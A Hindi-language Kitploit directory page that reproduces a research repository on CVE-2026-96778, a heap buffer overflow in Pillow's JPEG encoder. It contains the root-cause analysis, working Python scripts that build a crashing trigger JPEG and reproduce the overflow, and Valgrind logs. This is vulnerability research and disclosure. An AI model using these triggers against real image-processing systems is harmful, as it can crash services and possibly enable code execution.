Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-96778-pillow — CVE-2026-96778 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, जो Pillow के JPEG एनकोडर में हीप बफ़र ओवरफ़्लो है, जो पुनः-सहेजने पर ICC प्रोफ़ाइल और COM मार्कर के संयोजन से ट्रिगर होता है। | Kitploit
उपकरण/GitHubGitHub/paktiko1986/cve-2026-96778-pillow
मेमोरी फोरेंसिकभेद्यता विश्लेषणशोषणफज़िंगपेपर और शोधलर्निंग और शिक्षाबाइनरी शोषण
GitHubpaktiko1986/cve-2026-96778-pillow
साझा करें

CVE-2026-96778-pillow

CVE-2026-96778 के लिए प्रूफ-ऑफ-कॉन्सेप्ट और तकनीकी विश्लेषण, जो Pillow के JPEG एनकोडर में हीप बफ़र ओवरफ़्लो है, जो पुनः-सहेजने पर ICC प्रोफ़ाइल और COM मार्कर के संयोजन से ट्रिगर होता है।

रिपॉजिटरी देखें
24 दिन पहलेअभी तक समीक्षित नहीं

CVE-2026-96778 — Pillow JPEG एनकोडर में हीप बफ़र ओवरफ़्लो

Status Pillow Fixed Platform

यह रिपॉज़िटरी Pillow (Python Imaging Library) लाइब्रेरी में एक heap buffer overflow CVE-2026-96778 के लिए Proof of Concept (PoC), पुनरुत्पादन प्रमाण और तकनीकी विश्लेषण शामिल करती है।

संक्षिप्त सारांश: सटीक आकार की ICC प्रोफ़ाइल और टिप्पणी (COM marker) वाली JPEG छवि को पुनः सहेजने पर एनकोडर के 65,536 बाइट बफ़र से आगे लिखा जाता है, heap मेटाडेटा भ्रष्ट हो जाता है, और संभावित रूप से denial of service (crash) से लेकर कोड निष्पादन तक हो सकता है।


1. भेद्यता का विवरण

फ़ील्डमान
CVE IDCVE-2026-96778
घटकsrc/libImaging/JpegEncode.c — ImagingJpegEncode()
भेद्य बिंदुपंक्ति 282 (COM marker के लिए jpeg_write_marker)
प्रकारHeap Buffer Overflow (CWE-122)
प्रभावित सीमाPillow 9.4.0 – <13.0.0
इसमें ठीक किया गयाPillow 13.0.0
प्रभावDoS (SIGSEGV/SIGABRT), संभावित RCE
वेक्टरस्थानीय / उपयोगकर्ता इंटरैक्शन (छवि खोलना और पुनः सहेजना)
AdvisoryGHSA-g7cr-3p24-7wf7

2. मूल कारण का विश्लेषण

2.1 कोड प्रवाह

  1. JpegImagePlugin._save() आउटपुट बफ़र का आकार केवल exif और extra (ICC प्रोफ़ाइल) से गणना करता है, टिप्पणी के लिए कोई स्थान नहीं छोड़ता।
  2. _encode_to_file() (src/encode.c:186) MAXBLOCK = 65,536 बाइट का बफ़र आवंटित करता है।
  3. 65,498 बाइट की ICC प्रोफ़ाइल बफ़र को ठीक अंतिम बाइट तक भर देती है, जिससे free_in_buffer == 0 हो जाता है।
  4. जब COM marker लिखने के लिए jpeg_write_marker() कॉल किया जाता है (JpegEncode.c:282), तो libjpeg पहले 1 बाइट लिखता है, और उसके बाद ही size_t free_in_buffer काउंटर घटाता है।
  5. चूँकि काउंटर का मान 0 है, घटाने से underflow होकर ~2⁶⁴ हो जाता है। इसके बाद की सीमा जाँच अमान्य हो जाती है।
  6. शेष टिप्पणी और संपीड़ित छवि डेटा बफ़र सीमा से आगे लिखा जाता है, जिससे आसपास की heap मेमोरी अधिलेखित हो जाती है।

2.2 ट्रिगर आकार की गणना

ENCODER_BUFFER = 65536          # ImageFile.MAXBLOCK
JFIF_HEADER    = 20             # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD   = 18             # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD    = 65536 - 20 - 18 = 65498   # tepat penuh

ICC_PAYLOAD = 65498 के साथ, बफ़र ठीक अंतिम बाइट तक भर जाता है। COM मार्कर (किसी भी लंबाई का, 1–65533 बाइट) जोड़ने से ओवरफ़्लो हो जाता है।

2.3 बड़ी टिप्पणियाँ अधिक प्रभावी क्यों हैं

अधिकतम वैध टिप्पणी (65.533 बाइट) ओवरफ़्लो को बड़ी मात्रा में डेटा लिखने देती है, जिससे क्रैश अधिक निर्धारक होता है। छोटी टिप्पणी (जैसे 32 बाइट) Valgrind में Invalid write तो फिर भी उत्पन्न करती है, लेकिन सामान्य रनटाइम में क्रैश होना ज़रूरी नहीं है (यह हीप लेआउट और एलोकेटर पर निर्भर करता है)।


3. परीक्षण परिवेश

घटकमान
OSUbuntu Linux x86_64
कर्नेलLinux 6.x
Python3.12.3
Valgrind3.22.0
libjpeg8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2)
कंपाइलरgcc 13.3.0
परीक्षित Pillow9.4.0, 9.5.0, 13.0.0
Pillow स्रोतस्रोत से बिल्ड (pip install -e .)

4. प्रूफ़ ऑफ़ कॉन्सेप्ट

4.1 make_trigger.py — ट्रिगर JPEG जनरेटर

65.498 बाइट के ICC प्रोफ़ाइल और COM मार्कर के साथ trigger.jpg बनाना।

from PIL import Image
import io, struct

im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()

icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data

def make_app2(payload):
    length = len(payload) + 2
    return b"\xFF\xE2" + struct.pack(">H", length) + payload

def make_com(comment: bytes):
    length = len(comment) + 2
    return b"\xFF\xFE" + struct.pack(">H", length) + comment

assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]

with open("trigger.jpg", "wb") as f:
    f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")

4.2 repro_cve.py — Valgrind-अनुकूल पुनरुत्पादन

from PIL import Image

im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)

im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")

Valgrind के साथ चलाएँ:

python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log

4.3 poc_advisory.py — संदर्भ PoC (क्रैश डिटेक्शन)

आधिकारिक GHSA-g7cr-3p24-7wf7 सलाह पर आधारित। चाइल्ड प्रोसेस में im.save() चलाता है और एग्ज़िट स्टेटस की जाँच करता है (नकारात्मक = सिग्नल द्वारा मारा गया)।

#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image

ENCODER_BUFFER = 65536
JFIF_HEADER    = 20
ICC_OVERHEAD   = 18
ICC_PAYLOAD    = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD  # 65498
COMMENT        = b"C" * 65533

RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""

def segment(marker, payload):
    return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload

def make_jpeg(with_comment):
    noise = random.Random(1234).randbytes(256 * 256 * 3)
    out = BytesIO()
    Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
    plain = out.getvalue()
    icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
    com = segment(0xFE, COMMENT) if with_comment else b""
    return plain[:2] + icc + com + plain[2:]

def resave(jpeg):
    cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
    r = subprocess.run(cmd, input=jpeg, capture_output=True)
    print((r.stdout + r.stderr).decode(errors="replace").strip())
    print(f"-> exit status {r.returncode}")
    return r.returncode

print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))

print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))

if rc < 0:
    print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
    print("BUG")
else:
    print("OK")

5. पुनरुत्पादन का प्रमाण

5.1 परिणामों का सारांश

पिलो संस्करणआयात स्रोतValgrindPoC सलाहस्थिति
9.4.0/mnt/Pillow/src/PILInvalid write ×5 + हीप करप्टBUG (SIGSEGV)असुरक्षित
9.5.0/mnt/Pillow/src/PILInvalid write ×5 + हीप करप्टBUG (SIGSEGV)असुरक्षित
13.0.0/mnt/Pillow-13/src/PIL0 errorsOKसुरक्षित

5.2 Pillow 9.4.0 — Valgrind

==7310== Invalid write of size 1
==7310==    at 0x622410E: ??? (in libjpeg.so.8.2.2)
==7310==    by 0x6214569: jpeg_write_marker (in libjpeg.so.8.2.2)
==7310==    by 0x61DE40D: ImagingJpegEncode (JpegEncode.c:282)
==7310==  Address 0x60ddce0 is 0 bytes after a block of size 65,536 alloc'd
==7310==    at malloc
==7310==    by 0x61C06B4: _encode_to_file (encode.c:186)
...
valgrind: Heap block lo/hi size mismatch: lo = 65600, hi = 6365935209750747224

5.3 Pillow 9.5.0 — Valgrind

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    1.1k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    618
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    411
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    328
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer एक ओपन-सोर्स विशेषाधिकार प्रबंधन (PAM) प्लेटफ़ॉर्म है जो DevOps और IT टीमों को SSH, RDP, Kubernetes, डेटाबेस और RemoteApp एंडपॉइंट्स तक वेब ब्राउज़र के माध्यम से मांग पर और सुरक्षित पहुँच प्रदान करता है।

    314
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    वेब पर 7,700+ सोशल मीडिया पहचानों को खोजने और मैप करने के लिए AI-संचालित OSINT इंजन

    275

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →